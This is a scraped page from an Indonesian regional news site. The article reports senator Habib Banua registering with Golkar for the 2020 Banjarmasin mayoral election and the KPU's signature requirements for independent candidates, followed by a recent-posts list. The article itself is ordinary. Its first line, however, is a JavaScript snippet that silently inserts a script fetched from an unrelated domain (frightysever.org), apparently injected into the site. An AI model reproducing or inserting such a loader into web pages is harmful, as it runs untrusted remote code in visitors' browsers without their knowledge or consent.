(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kehadiran Habib Banua Mengubah ‘Peta Pertarungan’ Walikota Banjarmasin


BANJARMASIN, Pilkada Banjarmasin menampilkan banyak kejutan! Sejumlah tokoh populer meramaikan pertarungan politik pada 2020 nanti. Setelah Sekdaprov Kalsel Haris Makkie yang juga merupakan Ketua PWNU Kalsel, giliran senator Habib Abdurrahman Bahasyim atau biasa disapa Habib Banua ikut turun gunung. Kehadiran Habib Banua, dipastikan akan mengubah peta kekuatan kandidat pada Pilkada nanti.

Nama Habib Banua memang tak asing lagi. Popularitas anggota DPD yang kembali terpilih untuk periode 2019-2024 ini, tak bisa dianggap sebelah mata. Maka itu, sebelumnya dia digadang sebagai salah satu kandidat lawan bagi Gubernur Kalsel Sahbirin Noor pada Pilgub nanti. Namun, alih-alih bertarung di level provinsi, Habib Banua akhirnya berlaga di kota Banjarmasin.

Keseriusan Habib Banua maju di Pilkada Banjarmasin dibuktikan saat tadi pagi, Jumat (11/10) mendatangi DPD Partai Golkar Banjarmasin untuk mengajukan pendaftaran. Ia datang, setelah sehari sebelumnya incumbent Ibnu Sina mendatangi lokasi yang sama. Bedanya, kedatangan Habib Banua ini tanpa disambut oleh Ketua DPD Golkar Banjarmasin Hj Ananda.

Lalu, apa yang melatarbelakangi Habib Banua turun gunung?

“Tanyakan langsung kepada masyarakat Kota Banjarmasin, ada apa? Mengapa Habib mau (turun gunung). Karena keluhan masyarakat itu sangat banyak,” katanya kepada Kanalkalimantan.com, Jumat (11/10).

Menurut Habib Banua, banyak hal yang perlu diperbaiki di Kota Banjarmasin. “Karena keluhan masyarakat itu sangat banyak mengenai Kota Banjarmasin. Nanti kalau Habib sudah dapat (dukungan) kita buka,” tambahnya.

Saat ini, Habib Banua belum mau membeberkan hal-hal apa saja yang disorotinya untuk perbaikan Kota Banjarmasin. “Yang jelas masyarakat sudah gerah dengan kebijakan dan kepemimpinan yang ada, yang menurut Habib tidak pro rakyat kecil, serta tertekan dengan pelayanan publik,” tambahnya.

Tak hanya Golkar, dia juga berencana melamar sejumlah parpol lain. Termasuk Demokrat dan Nasdem. “Tadi sudah ke Partai Demokrat, besok ke Nasdem. Semua (partai) kita dekati,” ujarnya.

Meski memiliki kans maju lewat independen, namun saat ini Habib Banua memilih untuk jalur parpol. Nah, apakah keseriusannya tetap lanjut jika tak berhasil meyakinkan parpol dengan pindah ke jalur indepen, tinggal ditunggu!

Yang jelas, pada Pemilu 2019 lalu, Habib Banua berhasil memperoleh suara sebanyak 394.026 suara, yang mampu mengantarkannya untuk duduk di kursi DPD RI di Senayan utusan Provinsi Kalsel.

Sebelumnya, KPU Banjarmasin menyediakan dua jalur bagi pendaftar pasangan calon walikota dan wakil walikota untuk Pilkada Serantak 2020, Desember nanti . Selain lewat jalur parpol, KPU juga membuka jalan bagi calon perorangan (independen).

Ketua KPU Banjarmasin Gusti Makmur mengatakan, sesuai dengan Surat Edaran KPU RI Nomor 1917, terhitung sejak 11 Desember 2019 hingga 5 Maret 2020 merupakan waktu untuk menyerahkan surat dukungan dari calon walikota yang maju melalui jalur independen.

“Minimalnya, pemilih (DPT) di Kota Banjarmasin ada 447.085 pemilih. Jadi 8,5 persen (dari jumlah DPT) sekitar 38 ribu (pemilih) kalau yang independen,” ucap Makmur kepada Kanalkalimantan.com, Selasa (8/10) siang.

Menurut Makmur, 38 ribu pemilih yang mendukung bakal calon walikota independen harus menyerahkan fotocopy Kartu Tanda Penduduk (KTP), ditambah dengan surat pernyataan dukungan pasangan calon independen Pilwali atau model B.1-KWK. “Satu lembar model B.1-KWK. Di (lembaran) model ini akan ditempel (fotocopy) KTP di sana,” tambah Makmur.

Jumlah dukungan minimal sebanyak 38 ribu pemilih ini, harus disiapkan oleh bakal calon independen untuk dapat bertarung pada Pilwali Banjarmasin mendatang.

Sampai saat ini, memang belum ada kandidat di Pilkada Banjarmasin yang secara gamblang ingin maju lewat jalur independen. Sejauh ini, hanya Walikota Ibnu Sina yang mengatakan kemungkinan akan menempuh jalur tersebut jika tak berhasil mendapatkan kendaraan politik untuk maju lagi.

Kepada kanalkalimantan.com, dia mengatakan, bisa melalui partai tapi juga tak menutup peluang maju melalui independen. “Kan dua jalur itu bisa diperbolehkan,” kata Ibnu.(fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Abdi Dekati PAN, Emi: Harus Komitmen Menangkan H Muhidin di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Lawatan politik Andoko Abdi mencari partai politik pengusung terus dilakukan. Giliran ke… Read More

2 jam ago

657 Anggota PPS se Kabupaten HSU Dilantik untuk Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) melantik dan mengambil… Read More

3 jam ago

PLN Tebar Sukacita Puluhan Anak Panti Asuhan di Palangkaraya

KANALKALIMANTAN.COM, PALANGKARAYA - Garis senyum terpancar dari raut wajah polos anak-anak Panti Asuhan Maria Ines… Read More

3 jam ago

Empat DPC Ikadin di Kalsel 2023-2026 Dilantik

KANALKALIMANTAN.COM, BANJARMASIN - Ketua Umum Dewan Pimpinan Pusat (DPP) Ikatan Advokat Indonesia (Ikadin), Dr Adardam… Read More

10 jam ago

Andoko Abdi Lamar Partai Sendiri, Putusan Pasangan Ada di DPP

KANALKALIMANTAN.COM, BANJARBARU - Satu kader Partai Demokrat Andoko Abdi menyerahkan berkas pencalonan Pemilihan Wali Kota… Read More

21 jam ago

Bawaslu HSU Melantik 30 Orang Anggota Panwascam

KANALKALIMANTAN.COM, AMUNTAI - Ketua Badan Pengawas Pemilu (Bawaslu) Hulu Sungai Utara (HSU) Marfa'i melantik dan… Read More

22 jam ago

This website uses cookies.